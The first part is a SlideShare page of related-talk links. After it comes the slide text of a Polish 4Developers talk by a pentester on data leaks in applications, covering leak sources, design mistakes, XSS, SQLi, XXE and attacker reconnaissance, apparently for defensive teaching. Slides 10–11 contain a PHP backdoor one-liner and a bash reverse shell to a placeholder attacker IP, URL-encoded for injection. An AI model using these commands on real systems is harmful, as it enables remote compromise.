4Developers: Andrzej Wisłowski Użycie stosu Elastic (elasticsearch, logstash,...4Developers: Andrzej Wisłowski Użycie stosu Elastic (elasticsearch, logstash,...
4Developers: Andrzej Wisłowski Użycie stosu Elastic (elasticsearch, logstash,...
 
4Developers: Kacper Kościeński- Walka z MVC i innymi wzorcami projektowymi w ...
4Developers: Kacper Kościeński- Walka z MVC i innymi wzorcami projektowymi w ...4Developers: Kacper Kościeński- Walka z MVC i innymi wzorcami projektowymi w ...
4Developers: Kacper Kościeński- Walka z MVC i innymi wzorcami projektowymi w ...
 
4Developers: Dominik Przybysz- Message Brokers
4Developers: Dominik Przybysz- Message Brokers4Developers: Dominik Przybysz- Message Brokers
4Developers: Dominik Przybysz- Message Brokers
 
4Developers2016: Introduction to Xamarin.Platform
4Developers2016: Introduction to Xamarin.Platform4Developers2016: Introduction to Xamarin.Platform
4Developers2016: Introduction to Xamarin.Platform
 
4Developers2016: Artur Kalinowski Wyciek Danych w aplikacjach
4Developers2016: Artur Kalinowski Wyciek Danych w aplikacjach4Developers2016: Artur Kalinowski Wyciek Danych w aplikacjach
4Developers2016: Artur Kalinowski Wyciek Danych w aplikacjach
 
4Developers: Szymon Warda- Graph databases - why and how
4Developers: Szymon Warda- Graph databases - why and how4Developers: Szymon Warda- Graph databases - why and how
4Developers: Szymon Warda- Graph databases - why and how
 
4Developers: Maciej Aniserowicz- GMD - Getting More Done
4Developers: Maciej Aniserowicz- GMD - Getting More Done4Developers: Maciej Aniserowicz- GMD - Getting More Done
4Developers: Maciej Aniserowicz- GMD - Getting More Done
 
4Developers: Mariusz Sieraczkiewicz i Paweł Wrzeszcz- How Jak zmienić dobre z...
4Developers: Mariusz Sieraczkiewicz i Paweł Wrzeszcz- How Jak zmienić dobre z...4Developers: Mariusz Sieraczkiewicz i Paweł Wrzeszcz- How Jak zmienić dobre z...
4Developers: Mariusz Sieraczkiewicz i Paweł Wrzeszcz- How Jak zmienić dobre z...
 
4Developers: Paweł Szulc- Real-World Gobbledygook
4Developers: Paweł Szulc- Real-World Gobbledygook 4Developers: Paweł Szulc- Real-World Gobbledygook
4Developers: Paweł Szulc- Real-World Gobbledygook
 
4Developers: Karol Drzymała- Jak nie zawalić projektu - komunikacja i ryzyko
4Developers: Karol Drzymała- Jak nie zawalić projektu - komunikacja i ryzyko4Developers: Karol Drzymała- Jak nie zawalić projektu - komunikacja i ryzyko
4Developers: Karol Drzymała- Jak nie zawalić projektu - komunikacja i ryzyko
 
4Developers: The web is getting pushy- Phil Nash
4Developers: The web is getting pushy- Phil Nash4Developers: The web is getting pushy- Phil Nash
4Developers: The web is getting pushy- Phil Nash
 
4Developers: Łukasz Łysik- Message-driven architecture with RabbitMQ
4Developers: Łukasz Łysik- Message-driven architecture with RabbitMQ4Developers: Łukasz Łysik- Message-driven architecture with RabbitMQ
4Developers: Łukasz Łysik- Message-driven architecture with RabbitMQ
 
4Developers: Ryszard Skonieczka- Pokaż kotku, co masz w środku - czyli jak wy...
4Developers: Ryszard Skonieczka- Pokaż kotku, co masz w środku - czyli jak wy...4Developers: Ryszard Skonieczka- Pokaż kotku, co masz w środku - czyli jak wy...
4Developers: Ryszard Skonieczka- Pokaż kotku, co masz w środku - czyli jak wy...
 
4Developers: Norbert Wójtowicz- Data-Oriented Architecture
4Developers: Norbert Wójtowicz- Data-Oriented Architecture4Developers: Norbert Wójtowicz- Data-Oriented Architecture
4Developers: Norbert Wójtowicz- Data-Oriented Architecture
 
4Developers: Krzysztof Staruch, Kamil Piechociak- Pracuj.pl - SOA zrobione (p...
4Developers: Krzysztof Staruch, Kamil Piechociak- Pracuj.pl - SOA zrobione (p...4Developers: Krzysztof Staruch, Kamil Piechociak- Pracuj.pl - SOA zrobione (p...
4Developers: Krzysztof Staruch, Kamil Piechociak- Pracuj.pl - SOA zrobione (p...
 
4Developers: Grzegorz Piwowarek- Java Wars VIII: The Function Awakens
4Developers: Grzegorz Piwowarek- Java Wars VIII: The Function Awakens4Developers: Grzegorz Piwowarek- Java Wars VIII: The Function Awakens
4Developers: Grzegorz Piwowarek- Java Wars VIII: The Function Awakens
 

Similar to 4Developers: Artur Kalinowski- Wycieki danych w aplikacjach

Owasp Top10 2010 RC1 PL
Owasp Top10 2010 RC1 PLOwasp Top10 2010 RC1 PL
Owasp Top10 2010 RC1 PLThink Secure
 
Bezpieczenstwo sieci komputerowych
Bezpieczenstwo sieci komputerowychBezpieczenstwo sieci komputerowych
Bezpieczenstwo sieci komputerowychBpatryczek
 
Exatel Security Days 2017 - Niech dane pozostaną z Tobą! Sieciowe techniki ek...
Exatel Security Days 2017 - Niech dane pozostaną z Tobą! Sieciowe techniki ek...Exatel Security Days 2017 - Niech dane pozostaną z Tobą! Sieciowe techniki ek...
Exatel Security Days 2017 - Niech dane pozostaną z Tobą! Sieciowe techniki ek...Leszek Mi?
 
APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wybrane studium prz...
APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wybrane studium prz...APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wybrane studium prz...
APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wybrane studium prz...Logicaltrust pl
 
Tomasz Duma: "Zabezpiecz zasoby Twojej organizacji"
Tomasz Duma: "Zabezpiecz zasoby Twojej organizacji"Tomasz Duma: "Zabezpiecz zasoby Twojej organizacji"
Tomasz Duma: "Zabezpiecz zasoby Twojej organizacji"Sektor 3.0
 
Testowanie bezpieczenstwa aplikacji mobilnych
Testowanie bezpieczenstwa aplikacji mobilnychTestowanie bezpieczenstwa aplikacji mobilnych
Testowanie bezpieczenstwa aplikacji mobilnychSecuRing
 
Od Patryka Błażejczyka
Od Patryka  BłażejczykaOd Patryka  Błażejczyka
Od Patryka BłażejczykaBpatryczek
 
10. Analizowanie potrzeb klienta i projektowanie struktury baz danych
10. Analizowanie potrzeb klienta i projektowanie struktury baz danych10. Analizowanie potrzeb klienta i projektowanie struktury baz danych
10. Analizowanie potrzeb klienta i projektowanie struktury baz danychkalaxq
 
Hacker i cracker- czy wiemy, kogo się boimy?
Hacker i cracker- czy wiemy, kogo się boimy?Hacker i cracker- czy wiemy, kogo się boimy?
Hacker i cracker- czy wiemy, kogo się boimy?Dorota Ręba
 
APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wybrane studium prz...
APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wybrane studium prz...APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wybrane studium prz...
APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wybrane studium prz...Logicaltrust pl
 
Darmowe narzędzia wspomagające procesy zabezpieczania infrastruktury firmowej.
Darmowe narzędzia wspomagające procesy zabezpieczania infrastruktury firmowej.Darmowe narzędzia wspomagające procesy zabezpieczania infrastruktury firmowej.
Darmowe narzędzia wspomagające procesy zabezpieczania infrastruktury firmowej.Logicaltrust pl
 
Podążając śladami użytkownika Windows – elementy informatyki śledczej
Podążając śladami użytkownika Windows –elementy informatyki śledczejPodążając śladami użytkownika Windows –elementy informatyki śledczej
Podążając śladami użytkownika Windows – elementy informatyki śledczejKrzysztof Binkowski
 
Podatności, incydenty oraz praktyczne możliwości ochrony środowisk bazodanowych
Podatności, incydenty oraz praktyczne możliwości ochrony środowisk bazodanowychPodatności, incydenty oraz praktyczne możliwości ochrony środowisk bazodanowych
Podatności, incydenty oraz praktyczne możliwości ochrony środowisk bazodanowychstudenckifestiwalinformatyczny
 
CONFidence 2015: APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wy...
CONFidence 2015: APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wy...CONFidence 2015: APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wy...
CONFidence 2015: APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wy...PROIDEA
 
Not Almanach short-cut within Networking (in Polish)
Not Almanach short-cut within Networking (in Polish)Not Almanach short-cut within Networking (in Polish)
Not Almanach short-cut within Networking (in Polish)tomasz_pelczar
 
PLNOG22 - Leszek Miś - Symulacje zdarzeń i anomalii sieciowych jako proaktywn...
PLNOG22 - Leszek Miś - Symulacje zdarzeń i anomalii sieciowych jako proaktywn...PLNOG22 - Leszek Miś - Symulacje zdarzeń i anomalii sieciowych jako proaktywn...
PLNOG22 - Leszek Miś - Symulacje zdarzeń i anomalii sieciowych jako proaktywn...PROIDEA
 

Similar to 4Developers: Artur Kalinowski- Wycieki danych w aplikacjach (20)

Owasp Top10 2010 RC1 PL
Owasp Top10 2010 RC1 PLOwasp Top10 2010 RC1 PL
Owasp Top10 2010 RC1 PL
 
Devops security
Devops securityDevops security
Devops security
 
Bezpieczenstwo sieci komputerowych
Bezpieczenstwo sieci komputerowychBezpieczenstwo sieci komputerowych
Bezpieczenstwo sieci komputerowych
 
Exatel Security Days 2017 - Niech dane pozostaną z Tobą! Sieciowe techniki ek...
Exatel Security Days 2017 - Niech dane pozostaną z Tobą! Sieciowe techniki ek...Exatel Security Days 2017 - Niech dane pozostaną z Tobą! Sieciowe techniki ek...
Exatel Security Days 2017 - Niech dane pozostaną z Tobą! Sieciowe techniki ek...
 
APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wybrane studium prz...
APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wybrane studium prz...APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wybrane studium prz...
APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wybrane studium prz...
 
Tomasz Duma: "Zabezpiecz zasoby Twojej organizacji"
Tomasz Duma: "Zabezpiecz zasoby Twojej organizacji"Tomasz Duma: "Zabezpiecz zasoby Twojej organizacji"
Tomasz Duma: "Zabezpiecz zasoby Twojej organizacji"
 
Testowanie bezpieczenstwa aplikacji mobilnych
Testowanie bezpieczenstwa aplikacji mobilnychTestowanie bezpieczenstwa aplikacji mobilnych
Testowanie bezpieczenstwa aplikacji mobilnych
 
Od Patryka Błażejczyka
Od Patryka  BłażejczykaOd Patryka  Błażejczyka
Od Patryka Błażejczyka
 
10. Analizowanie potrzeb klienta i projektowanie struktury baz danych
10. Analizowanie potrzeb klienta i projektowanie struktury baz danych10. Analizowanie potrzeb klienta i projektowanie struktury baz danych
10. Analizowanie potrzeb klienta i projektowanie struktury baz danych
 
Hacker i cracker- czy wiemy, kogo się boimy?
Hacker i cracker- czy wiemy, kogo się boimy?Hacker i cracker- czy wiemy, kogo się boimy?
Hacker i cracker- czy wiemy, kogo się boimy?
 
APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wybrane studium prz...
APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wybrane studium prz...APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wybrane studium prz...
APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wybrane studium prz...
 
Darmowe narzędzia wspomagające procesy zabezpieczania infrastruktury firmowej.
Darmowe narzędzia wspomagające procesy zabezpieczania infrastruktury firmowej.Darmowe narzędzia wspomagające procesy zabezpieczania infrastruktury firmowej.
Darmowe narzędzia wspomagające procesy zabezpieczania infrastruktury firmowej.
 
Podążając śladami użytkownika Windows – elementy informatyki śledczej
Podążając śladami użytkownika Windows –elementy informatyki śledczejPodążając śladami użytkownika Windows –elementy informatyki śledczej
Podążając śladami użytkownika Windows – elementy informatyki śledczej
 
Podatności, incydenty oraz praktyczne możliwości ochrony środowisk bazodanowych
Podatności, incydenty oraz praktyczne możliwości ochrony środowisk bazodanowychPodatności, incydenty oraz praktyczne możliwości ochrony środowisk bazodanowych
Podatności, incydenty oraz praktyczne możliwości ochrony środowisk bazodanowych
 
Calkiem przyzwoity backup
Calkiem przyzwoity backupCalkiem przyzwoity backup
Calkiem przyzwoity backup
 
Informatyka śledcza języczkiem u wagi Temidy
Informatyka śledcza języczkiem u wagi TemidyInformatyka śledcza języczkiem u wagi Temidy
Informatyka śledcza języczkiem u wagi Temidy
 
Wyscig o czynnik ludzki
Wyscig o czynnik ludzkiWyscig o czynnik ludzki
Wyscig o czynnik ludzki
 
CONFidence 2015: APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wy...
CONFidence 2015: APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wy...CONFidence 2015: APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wy...
CONFidence 2015: APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wy...
 
Not Almanach short-cut within Networking (in Polish)
Not Almanach short-cut within Networking (in Polish)Not Almanach short-cut within Networking (in Polish)
Not Almanach short-cut within Networking (in Polish)
 
PLNOG22 - Leszek Miś - Symulacje zdarzeń i anomalii sieciowych jako proaktywn...
PLNOG22 - Leszek Miś - Symulacje zdarzeń i anomalii sieciowych jako proaktywn...PLNOG22 - Leszek Miś - Symulacje zdarzeń i anomalii sieciowych jako proaktywn...
PLNOG22 - Leszek Miś - Symulacje zdarzeń i anomalii sieciowych jako proaktywn...
 

4Developers: Artur Kalinowski- Wycieki danych w aplikacjach

  • 2. Wyciek danych w aplikacjach Artur Michał Kalinowski
  • 3. Bio Artur Michał Kalinowski (amk78) – pentester w LogicalTrust – wcześniej pentester, administrator, programista, ... – wykładowca (informatyka śledcza, bezpieczeństwo IT…) – współpraca z {„gov”} w zakresie informatyki śledczej i bezpieczeństwa IT – członek zespołu administracyjnego na forum związanym z bezpieczeństwem IT – autor książki „Metody inwigilacji i elementy informatyki śledczej”
  • 4. ● Testy penetracyjne ● Audyty bezpieczeństwa ● Szkolenia ● Konsultacje ● Informatyka śledcza ● Aplikacje mobilne Borys Łącki > 10 lat - testy bezpieczeństwa Edukacja: www.bothunters.pl ~ 8 lat blogowania o cyberprzestępcach Confidence, SEMAFOR, SECURE, Atak i Obrona, Security Case Study, Internet Banking Security, ISSA, SecureCON, SEConference, SekIT, PTI, Open Source Security, PLNOG (…)
  • 5. Zagadnienia ● Błędne założenia projektowe podstawą przyszłych kłopotów ● Typowe błędy, które niosą poważne konsekwencje ● Na co zwraca uwagę atakujący ● Darmowe narzędzia ułatwiające pozyskanie pożądanych informacji ● Analiza działania aplikacji ● Pozostałości developerskie, środowiska testowe oraz niewłaściwa konfiguracja środowisk produkcyjnych ● "Bez komentarza" :) ● Pozyskiwanie wrażliwych danych z pamięci operacyjnej ● Czy stosowanie restrykcyjnych zabezpieczeń ułatwia ataki? ● Aplikacje mobilne a bezpieczeństwo
  • 7. Wyciek danych ● Czym jest wyciek danych i z czego często wynika – niewiedza, brak motywacji, brak polityk, wzorców, zasad – niewłaściwe środowisko, konfiguracja, brak odpowiednich rozwiązań – presja czasu, budżet (przesunięcia, cięcia, ograniczenia) – chęć zemsty, sławy Źródło: http://www.observeit.com/sites/default/files/content_images/blog_images/data-leak1.jpg
  • 8. Wyciek danych ● Wycieki danych – przypadkowe / niezamierzone (np. na skutek błędów) – celowe (np. pozostawione celowo luki) – prowokowane (np. celowe doprowadzenie do wycieku poprzez zainicjowanie odpowiednich działań) Źródło: http://blogs.intralinks.com/collaborista/wp-content/uploads/sites/2/2014/02/Bitcoin2-696x398.png
  • 9. Wyciek danych Pozornie niewinne żarty mogą być z łatwością zaadoptowane do rzeczywistych ataków.
  • 10. Wyciek danych $_GET['a']($_GET['b']); Niektóre wycieki danych mogą być wynikiem celowo pozostawionych furtek.
  • 11. Wyciek danych Reverse shell z użyciem basha: bash -i >& /dev/tcp/IP_ATAKUJACEGO/443 0>&1 tworzymy odpowiedni plik po stronie serwera, który następnie uruchamiamy: echo "/bin/bash -i >& /dev/tcp/IP_ATAKUJACEGO/443 0>&1" > b && /bin/bash b pamiętamy o odpowiednim kodowaniu: php -r "echo urlencode('echo "/bin/bash -i >& /dev/tcp/IP_ATAKUJACEGO/443 0>&1" > b && /bin/bash b');" echo+%22%2Fbin%2Fbash+-i+%3E%26+%2Fdev%2Ftcp %2FIP_ATAKUJACEGO%2F443+0%3E%261%22+%3E+b+%26%26+ %2Fbin%2Fbash+b
  • 12. Wyciek danych umieszczamy dane w URLu ... … w efekcie serwer łączy się z nami i uzyskujemy dostęp do wiersza poleceń:
  • 13. Wyciek danych ● Częste przyczyny i źródła wycieku danych sieć m.in. : ● niewłaściwa ochrona komunikacji, ● zła separacja, ● niewłaściwe zarządzanie dostępem i monitoring Źródło: http://infosystem1.com/wp-content/uploads/2013/09/network-security.jpg
  • 14. Wyciek danych ● Częste przyczyny i źródła wycieku danych – przykład – pozyskanie IP z sieci wewnętrznej 1) zmiana wersji protokołu z HTTP/1.1 na HTTP/1.0 2) usunięcie pola host z nagłówka żądania w efekcie: ● atakujący zna IP serwera ● atakujący zna adresację w sieci, w której znajduje się serwer proste wykorzystanie: ● img z adresem z ujawnionej puli + /icons/right.gif ● zdarzenie onload lub onerror ● wysłanie linka do spreparowanej strony użytkownikowi w firmie
  • 15. Wyciek danych W efekcie uzyskujemy adresy IP z sieci wewnętrznej, na których uruchomiony jest, z dużym prawdopodobieństwem, serwer Apache. Analogicznie, na podstawie charakterystycznych lokalizacji zasobów, można zidentyfikować również obecność innych aplikacji w sieci lokalnej.
  • 16. Wyciek danych ● Częste przyczyny i źródła wycieku danych system m.in. : ● niewłaściwa konfiguracja (np. dostępu, aktualizacji, ochrony danych, wpad), ● zrzuty pamięci (np. w wyniku błędów bądź inicjowane przez użytkownika) ● system plików: – pliki tymczasowe – pliki wymiany, hibernacji – metadane – usunięte pliki – slack space – … Źródło:http://osheaven.net/wp-content/uploads/2011/07/data-security.jpg
  • 18. Wyciek danych ● Częste przyczyny i źródła wycieku danych usługi: ● banery, ● dane w nagłówkach odpowiedzi, informacje o systemie i komponentach, ● komunikaty o błędach, ● znane zasoby, ● pliki konfiguracyjne (w tym też .htaccess, robots, a czasem nawet .bash_history) ● .csv, .svn, .git, ● /server-status, /status, ● VRFY
  • 19. Wyciek danych ● Częste przyczyny i źródła wycieku danych W przykładzie wykorzystano apache.org. W celu zobrazowania ewentualnego wycieku danych użyto fikcyjnych parametrów.
  • 20. Wyciek danych ● Częste przyczyny i źródła wycieku danych
  • 21. Wyciek danych ● Częste przyczyny i źródła wycieku danych aplikacje m.in. : – pliki konfiguracyjne, includowane, – intuicyjne nazwy zasobów, – walidacja jedynie po stronie UI, – niewłaściwe filtrowanie potencjalnie szkodliwego kodu, – poleganie na danych wejściowych z niezaufanych źródeł, – niewłaściwa obsługa uploadu plików, – brak weryfikacji integralności plików danych lub konfiguracji, – brak zaciemniania kodu, – niewłaściwe miejsca składowania danych, – logowanie danych wrażliwych, – ...
  • 22. Wyciek danych ● Częste przyczyny i źródła wycieku danych Źródło: Google
  • 23. Wyciek danych ● Częste przyczyny i źródła wycieku danych dane: ● backupy (w tym niewłaściwa polityka składowania, przesyłu, usuwania) ● statystyki, logi, dane przykładowe/testowe ● pliki z metadanymi (dokumenty, grafika) użytkownicy: ● wklejenie danych ze schowka, ● użycie podobnych haseł, ● omyłkowe użycie haseł, ● przesłanie danych (np. chęć pomocy, pokazania czegoś ciekawego) ● przesłanie danych w złe miejsce (np. wydruk), ● pozostawienie wydruku, ● niewłaściwe zniszczenie danych (np. wyrzucenie do kosza błędnie/częściowo wydrukowanych dokumentów)
  • 24. Błędne założenia projektowe ● Niewłaściwa walidacja danych – walidacja jedynie części danych np. danych z GET/POST – walidacja po stronie aplikacji (UI) bez walidacji po stronie serwera – brak walidacji typów zmiennych – akceptacja danych dostarczonych w dowolny sposób (POST→GET, Cookie → GET itp.) – neutralizacja potencjalnie szkodliwych danych na wyjściu, a nie na wejściu Źródło: http://i.imgur.com/GluNcro.jpg
  • 25. Błędne założenia projektowe ● Niewłaściwa walidacja danych – brak walidacji niektórych danych np. pola Host przesyłanego w żądaniu – poleganie na wartościach kontrolowanych przez użytkownika User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html) – walidacja danych pod względem właściwego typu, ale bez uwzględnienia granicznych wartości id=-1, id=9999999999999 – brak walidacji pod kątem dopuszczalnych wartości m.in.: możliwych do wczytania plików, możliwych nazw przesyłanych plików, identyfikatorów rekordów danych dostępnych dla danego użytkownika ...
  • 26. Błędne założenia projektowe ● Niewłaściwa ochrona komunikacji – brak użycia funkcji kryptograficznych – kodowanie zamiast szyfrowania – użycie „własnych” (podatnych na kryptoanalizę) rozwiązań – łączenie treści (na jednej stronie dostępne treści pobierane przy użyciu szyfrowanego oraz nieszyfrowanego połączenia) – brak wymuszenia szyfrowania lub przesyłania danych szyfrowanymi kanałami (HSTS, flaga Secure) – niewłaściwe użycie funkcji (np. random, zamiast jej bezpiecznego odpowiednika) – użycie „słabych” funkcji hashujących i algorytmów kryptograficznych – brak weryfikacji poprawności certyfikatów Źródło: http://bi.gazeta.pl/im/a4/89/dd/z14518692Q,Klucz-zostawil- pod-wycieraczka.jpg
  • 27. Błędne założenia projektowe ● Niewłaściwe składowanie danych – brak szyfrowania istotnych informacji – brak weryfikacji integralności danych – wrażliwe dane w niewłaściwych miejscach (SD) – kopie zapasowe, logi, uploadowane pliki w publicznie dostępnych miejscach – niewłaściwe usuwanie/pozostawienie danych – błędne zarządzanie pamięcią cache – zapamiętywanie danych formularzy – znaki wykorzystywane jako separatory pól nie są neutralizowane w danych wejściowych (np. dane zapisywane do pliku, kolumny oddzielone znakiem „|”, a znak „|” nie jest filtrowany i może być użyty np. w nazwie użytkownika). Źródło: https://d.justpo.st/media/images/2014/09/10dd7c2fc1 7e23e9034fdff552bf5f71.jpg
  • 28. Błędne założenia projektowe ● Niewłaściwe oczyszczanie danych – dopuszczenie użycia znaków, które mogą wpłynąć na logikę działania aplikacji (np. zmienić treść zapytania sql) – oczyszczanie danych podczas odsyłania treści do aplikacji, a nie przed zapisem danych wejściowych do bazy – mniejsze restrykcje w stosunku do danych importowanych („słabsza” walidacja) – poleganie jedynie na frameworku (założenie, że nikt nie utworzy własnej funkcji obsługującej dane, że nikt nie zmieni konfiguracji itp.)
  • 29. Błędne założenia projektowe ● Niewłaściwe oczyszczanie danych Źródło: https://hackadaycom.files.wordpress.com/2014/04/18mpenleoksq8jpg.jpg?w=636
  • 30. Błędne założenia projektowe ● Niewłaściwe zarządzanie uprawnieniami – brak spójności pomiędzy funkcjami dostępnymi w interfejsie użytkownika, a rzeczywistymi uprawnieniami (ograniczenie na zasadzie braku dostępnej danej funkcji w interfejsie) – brak ochrony zasobów (np. uploadowanych plików, znając nazwę i lokalizację można pozyskać plik) – dostęp na podstawie danych z niezaufanych źródeł (np. na podstawie IP przesyłanego w X-Forwarded-For) – brak weryfikacji integralności uprawnień (możliwość zmiany uprawnień poprzez modyfikację plików konfiguracyjnych, zmianę cookies, parametrów URL itp.) – ...
  • 31. Błędne założenia projektowe ● Brak uwzględnienia kwestii bezpieczeństwa – wrażliwe dane lub tokeny przesyłane w URL – linki do zewnętrznych serwisów ze stron, których URLe zawierają istotne informacje (referer) – brak właściwej obsługi wyjątków, szczegółowe informacje o błędach, w tym fragmenty zapytań i danych – użycie niezaufanych lub nieaktualnych komponentów, brak uwzględnienia właściwej polityki aktualizacji i utrzymania aplikacji – ...
  • 34. Typowe błędy, które niosą poważne konsekwencje ● XSS Niewłaściwie oczyszczane dane wejściowe umożliwiają osadzenie własnego kodu, a przez to przejęcie kontroli nad treścią wyświetlanej strony. – śledzenie działań użytkownika – dostęp do treści przeznaczonej dla danego użytkownika (w tym informacji wrażliwych) – możliwość modyfikacji treści (manipulacji danymi, osadzenia „szkodliwych” treści np. plików) – przekierowanie na fałszywą stronę (phishing)
  • 35. Typowe błędy, które niosą poważne konsekwencje ● XSS – pozyskanie hasła
  • 36. Typowe błędy, które niosą poważne konsekwencje ● XSS – w połączeniu z Metasploitem
  • 37. Typowe błędy, które niosą poważne konsekwencje ● SQLi Często widoczne fragmenty zapytań bądź nawet danych. Informacje o błędach ujawniające rodzaj stosowanego rozwiązania, charakterystyczne zachowanie, opóźnienia czasowe itp. – pozyskanie informacji o środowisku – pozyskanie informacji o użytkownikach – pozyskanie danych z bazy – manipulacja danymi (np. zmiana sald) – dodanie użytkownika do systemu – podwyższenie uprawnień użytkowników – dostęp do plików – umieszczenie „złośliwych” skryptów, dostęp do konsoli
  • 38. Typowe błędy, które niosą poważne konsekwencje
  • 39. Typowe błędy, które niosą poważne konsekwencje
  • 40. Typowe błędy, które niosą poważne konsekwencje
  • 41. Typowe błędy, które niosą poważne konsekwencje
  • 42. Typowe błędy, które niosą poważne konsekwencje ● XXE Pozyskanie danych z systemu; plików konfiguracyjnych, listy użytkowników, danych o środowisku... – zakłócenie pracy aplikacji (DoS) – pozyskanie kodu źródłowego np. .php, w tym ujawnienie danych dostępowych do baz itp. – ...
  • 43. Typowe błędy, które niosą poważne konsekwencje ● XXE – pozyskanie listy użytkowników systemu
  • 44. Typowe błędy, które niosą poważne konsekwencje ● XXE – odczyt plików .php (najpierw szukamy...)
  • 45. Typowe błędy, które niosą poważne konsekwencje ● XXE– odczytanie zawartości pliku php
  • 46. Typowe błędy, które niosą poważne konsekwencje ● Brak szyfrowania danych – nieuprawniony dostęp do informacji i jej ujawnienie – pozyskanie danych uwierzytelniających – działania w imieniu uprawnionego użytkownika – manipulacja przesyłanymi danymi – zakłócenie pracy aplikacji – ...
  • 47. Typowe błędy, które niosą poważne konsekwencje ● MITM - pozyskanie przesyłanych danych
  • 48. Typowe błędy, które niosą poważne konsekwencje ● Wykorzystanie przewidywalnych wartości ● przewidywalne identyfikatory (w tym id sesji), ● wartości tokenów, ● nazwy kont użytkowników, ● lokalizacja i nazwy plików... – dostęp do danych innych użytkowników – dostęp do plików z poziomu niezalogowanych użytkowników – przejęcie sesji innego użytkownika – dokonywanie/anulowanie zamówień jako inny użytkownik – ...
  • 49. Typowe błędy, które niosą poważne konsekwencje ● Brak zaciemnienia kodu Łatwa analiza działania oraz identyfikacja potencjalnych podatności. – hardcodowane dane (hasła) – możliwość wyszukiwania podatnych funkcji i niebezpiecznych konstrukcji (grep + słownik) – ujawnienie struktur danych, zapytań – ...
  • 50. Typowe błędy, które niosą poważne konsekwencje ● Odsyłanie informacji o błędach Pozwala pozyskać istotne dane i zredukować czas potrzebny na rozpoznanie oraz ilość informacji w logach, które mogą wskazywać na rozpoczęcie ataku. – identyfikacja użytkowników (np. wewnętrznych, wykorzystywanych po stronie serwera) – identyfikacja technologii – informacje o stosowanym oprogramowaniu – informacje o lokalizacji zasobów – identyfikacja użytych funkcji i przyczyn błędów – wskazówki (jakie wartości są akceptowane – ułatwia dalsze ataki) – identyfikacja obecności użytkownika, zasobu itp.
  • 51. Typowe błędy, które niosą poważne konsekwencje ● Użycie niewłaściwych funkcji – przepełnienia bufora (pominięcie logowania, dostęp do danych) – niewłaściwe generatory pseudolosowe (przewidywalne wartości) – niewłaściwe funkcje hashujące (możliwość kolizji) – niewłaściwe algorytmy szyfrowania lub protokoły (możliwość pozyskania treści przesyłanych w szyfrowanym połączeniu) – … ● Niewłaściwe wytwarzanie oprogramowania ● możliwe debugowanie, ● brak ochrony stosu, ● pozostawianie dokumentacji roboczej i informacji o błędach w publicznym miejscu, ● wykorzystanie gotowego kodu z innych aplikacji bez uwzględniania specyfikacji obecnych wymagań,... – możliwość przejęcia kontroli nad aplikacją, a nawet systemem
  • 52. Typowe błędy, które niosą poważne konsekwencje
  • 53. Na co zwraca uwagę atakujący ● publicznie dostępne informacje – użycie wyszukiwarek celem zdobycia informacji m.in. o: ● ostrzeżeniach, błędach, komunikatach, ● plikach składowych (index.of), ● panelach administracyjnych, ● rodzajach plików (np. .asp, .php), lokalizacji, kopii plików ● metadanych ● adresach URL – wpisy na forach ● dyskusje programistów związanych z daną aplikacją ● dyskusje związane ze znalezionymi przez „wolontariuszy” lukami ● identyfikacja technologii: banery, nagłówki, informacje o błędach, środowisku, komponentach, domyślne strony i zasoby, pliki składowe – poszukiwanie luk związanych ze zidentyfikowaną technologią i komponentami
  • 54. Na co zwraca uwagę atakujący ● rodzaj aplikacji, przetwarzanych danych, powiązania z innymi usługami (czy na serwerze obecne inne usługi, które można wykorzystać) – przewidywalność danych (tokenów, identyfikatorów, id sesji, nazw plików) – obecność logów, statystyk, paneli administracyjnych ● konfiguracja środowiska (czy domyślna, robocza itp.) – domyślne zasoby, – stosowane mechanizmy zabezpieczeń i monitoringu – aktualność komponentów – raportowanie błędów – ochrona przed zautomatyzowanymi działaniami ● mechanizmy filtrowania i walidacji ● mechanizmy uploadu/backupu/importu ● polityki bezpieczeństwa: haseł, backupów, utrzymania aplikacji
  • 55. Darmowe narzędzia ułatwiające pozyskanie pożądanych informacji ● Serwisy online – https://archive.org/web/ – Bing, Google, … – netcraft – https://www.shodan.io/ – robtex, virustotal, … – Facebook, LinkedIn, ... ... Źródło: archive.org Źródło: www.shodan.io
  • 56. Darmowe narzędzia ułatwiające pozyskanie pożądanych informacji – skanery (np. OWASP ZAP, nikto, sqlmap, Nmap z odpowiednimi skryptami NSE…) – skanery zasobów (np. DirBuster) – fuzzery (np. wfuzz) – proxy (np. OWASP ZAP, Burp) – frameworki (np. Metasploit) – łamacze haseł/odgadywanie haseł (np. john, Hydra, Medusa) – narzędzia konsolowe: curl, openssl, (n)grep, theHarvester, foremost, driftnet, dsniff, exiftool, gooscan, goofile ... – inne (np. evilgrade)
  • 57. Analiza działania aplikacji ● czy aplikacja da się uruchomić w kontrolowanym przez nas środowisku (możliwość monitorowania, wstrzymania, podmiany danych, odczytania tymczasowych danych przed usunięciem) ● z jakich komponentów korzysta i jak je weryfikuje (możliwość podmiany) ● jak przetwarza dane wejściowe (czy i na którym etapie je waliduje/oczyszcza) ● czy łączy się do innych hostów (czy połączenie szyfrowane) ● jakich funkcji używa (czy są one bezpieczne) ● gdzie zapisuje dane robocze i co umieszczane w logach ● jakie informacje umieszcza w komunikatach o błędach
